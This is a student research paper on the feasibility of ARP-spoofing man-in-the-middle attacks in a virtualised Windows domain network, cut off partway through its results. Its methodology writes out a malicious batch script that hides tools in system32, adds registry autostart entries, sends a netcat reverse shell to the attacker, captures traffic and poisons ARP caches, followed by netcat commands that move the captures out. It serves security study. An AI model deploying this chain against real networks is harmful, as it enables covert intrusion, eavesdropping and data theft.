Nobel Ang1, Koh Chuen Hoa2 1River Valley High School, 6 Boon Lay Ave, Singapore 649961 2DSO National; Laboratories, 20 Science Park Drive, Singapore 118230
Total Page：16
File Type：pdf, Size：1020Kb
INVESTIGATING THE FEASIBILITY OF MITM ATTACKS IN A CORPORATE ENVIRONMENT Nobel Ang1, Koh Chuen Hoa2 1River Valley High School, 6 Boon Lay Ave, Singapore 649961 2DSO National; Laboratories, 20 Science Park Drive, Singapore 118230 INTRODUCTION An MITM (Man in the Middle) attack allows for the control over network data sent between 2 other machines on the same network by convincing the 2 machines that the Attacker machine is the other victim machine. MITM tools commonly uses ARP spoofing to achieve that. ARP (Address Resolution Protocol) is a network protocol used to match software addresses (IP address) to hardware addresses (MAC address). ARP is an insecure protocol as it does not require verification, thus ARP spoofing is easily conducted as the MITM tool simply has to broadcast more packets than the intended victim machines. The implementation of a MITM provides hackers significant information about the end victims, such as passively eavesdropping, capturing, intercepting and modifying network packets in-transit while being completely invisible to both victims. Therefore, MITM should be common in past hacking incidents [1] and MITM tools for Windows on the internet should be common and updated. However, this is not the case as most tools are developed for Linux. Thus, there appears to be significant obstacles in deployment of MITM tools in modern Windows machines and networks. This project aims to find out if this is true. The feasibility of an ARP based MITM attack will be tested via a virtualised Windows network with constraints similar to an actual remote attacker. When deploying tools for the attack, observation on the obstacles an attacker will face will be made. BACKGROUND ARP (Address Resolution Protocol) is a request and reply protocol used within a network to resolve the network layer address (IP addresses) to a link layer address (MAC address). A table known as the ARP cache is used to correlate the known IP address to the corresponding MAC address. When a machine tries to connect to an IP which is not recorded in the ARP cache, a request packet is broadcasted through the network with the format “Who has [Target IP]? Tell [Initial Host Machine IP]”. When any machine on the network has the corresponding MAC address requested, it will respond by “[Target IP] is at [Target MAC address]”. This protocol is required as client machines often have dynamic IP addresses and the protocol can correlate the network address with the physical address. Figure 1: ARP request and response packets After an interaction is completed, both machines will save the information in the ARP cache which can be change with another ARP interaction. 1 ARP spoofing works by an attacking machine broadcasting reply packets constantly but by using the attackers MAC address instead of the victims MAC. For example, on this system, 192.168.1.99 was performing the attack and it will broadcast that 192.168.1.53 is at 00-26- 55-3f-7a-e1. Fig 2: ARP table in a network After the ARP table has been changed, network information that was intended for 192.168.1.53 will instead be sent to 192.168.1.99. The attacker can choose to either passively capture packets, modify network packets that are in transit, or deny the victims a connection. This is conventionally known as a Man in the Middle Attack (MITM). Workgroups are a peer-to-peer local area network used for easily sharing files and providing simple user control. It is more common in a small business or home system. Workgroups only provide generalised permissions similar to permissions given to a local user account. Most users in a Workgroup setting log on to the machine as a Local Administrator, and has full control over the machine. A domain setup is usually implemented in a corporate environment. A domain setup involves a domain controller and the client machines. Client systems have restricted privileges which can be granularly controlled by the domain controller. The domain server will provide very fine-grained control of the user machines and it has been common corporate practice to restrict user’s privilege unless required for other reasons. By default user are denied access to possibly vulnerable permissions such as changing services and having domain administrator privileges. This is because sensitive information is contained in these networks. METHODOLOGY The attack model we have employed allows the attacker to access initial local administrator target machine and persist even if the user logs on to a Domain user account. This is because the vector require privileges which is likely unavailable to users in a Domain, thus a temporary privilege escalation is required. The different setup experimented with will be 1) a victim local administrator machine, 2) a victim Domain user and 3) a victim initially logged in as a local admin re-logs on as a domain user. The domain setup (server, victim 1 and 2) and the attacker are in separate NAT networks. An NAT network works by connecting all internal machines in an internal network and sending external connection through the host machine. Thus port routing have been set up to allow for connections between the attacker and victims. 2 Fig 3: Network Setup of virtual machines Tools 1) Netcat (Version 1.1) [2] Netcat is a networking tool mainly used to make connections. In this project, netcat will be used as a backdoor and provide a remote reverse shell connecting from the victim to the attacker. The shell allows attackers to run commands subjected to the privilege of the user logged-on. Netcat will be used to transfer the capture network files to the attacker machine. 2) Winarp-mim (Version 0.95) [3] Winarp-mim is a Windows port of an older version of ARP-sk. It has been modified specially for MITM attack. Further modifications were made to allow for autonomous operation. It needs the RAS service to operate invisibly. 3) Tshark [4] Tshark is a part of the Wireshark program which is a network packet capturing and analysis tool. Tshark is a controlled via a command prompt. It will be used for packet capturing. 4) WinPcap [5] WinPcap is a packet capturing driver which is needed by Wireshark. The key service for WinPcap is known as the NPF service. 5) Remote Access Remote Access (RAS) that it is a Windows service that routes packets. In this MITM attack, the service is used to route packets between the two victims in the MITM attack transparently, so that the two victims communicate as per normal. Initial Attack Vector The initial attack vector, which is a malicious file downloaded and ran by victim 1 is a folder consisting of an .exe file which will run a script and a hidden tools folder. The tools folder will contain netcat, tshark, Winarp and Wireshark.pcap. Fig 4: Initial attack vector folder A scan on all vector files was conducted through virustotal.com. The only file that was detected as a malicious program is winarp which only shows up in 2 of the 54 anti-virus database. After running the script, all programs should be started at launch and a remote shell will be sent to the attacker’s machine. 3 Fig 4: Virustotal scan results Initial Script Fig 5: Attack vector script 1) @echo off - to run the script without a visible prompt 2) move "*userprofile*\Downloads\Vector\Tools\*.*" "%systemroot%\system32" - move tools to system32 folder 3) reg add - change registry to allow auto startup of winarp, netcat and tshark 4) nc.exe -d 192.168.56.1 100 -e cmd.exe -d – operate invisibly 192.168.56.1 -p 100 – connect to attacker ip on port 100 -e cmd.exe – send a remote shell to attacker 5) tshark.exe -i 1 -b filesize:2000 –w %systemroot%\system32\Wireshark.pcap -i 1 – capture on adapter 1 -b filesize:2000 – write to a new file once file size exceed 2000kB –w %systemroot%\system32\Wireshark.pcap – capture to Wireshark.pcap 6) winarp.exe –a 10.0.2.4 –b 10.0.2.6 -a 10.0.2.4 –b 10.0.2.6 – IP of 2 victim 7) sc config “Remote Access/ NPF” start= auto - Auto start services RAS and NPF At the same time, the attacker machine will run netcat -vv –L –p 100 –vv – extra verbose –L – listening –p – on port 100 The transfer of captured packets will be done through the remote shell nc –vv –w 2 10.0.2.15 –p 101 < [filename] – Remote Shell nc –vv –w 30 –p 101 > [filename] – Attacker machine EXPERIMENTS Local Admin The first victim will be a local admin. This is similar to a user in a workgroup setup Results 4 Overall, the attack was a success. The registry change was successfully made and netcat, winarp and tshark ran successfully at start up. Fig 5: Process successfully ran at start up Fig 6: Registry changes made A remote reverse shell was also spawned on the attacker machine. Fig 7: Remote shell spawned The ARP cache on the server and victim 2 was checked and verified that the ARP poisoning was working. Victim 1 has the MAC address 08-00-27-bd-10-84. From the figure, it can be seen that Victim 2 now sees Victim 1 as the server (IP address 10.0.2.4), while the server sees Victim 1 as Victim 2 (IP address 10.0.2.6). The MITM attack is hence successful. Fig 8: Correct ARP cache Fig 9: ARP cache on victim 2 after spoofing Fig 10: ARP cache on server after spoofing Network Packets The captured packets contained all communication among the server, victim 1 and victim 2.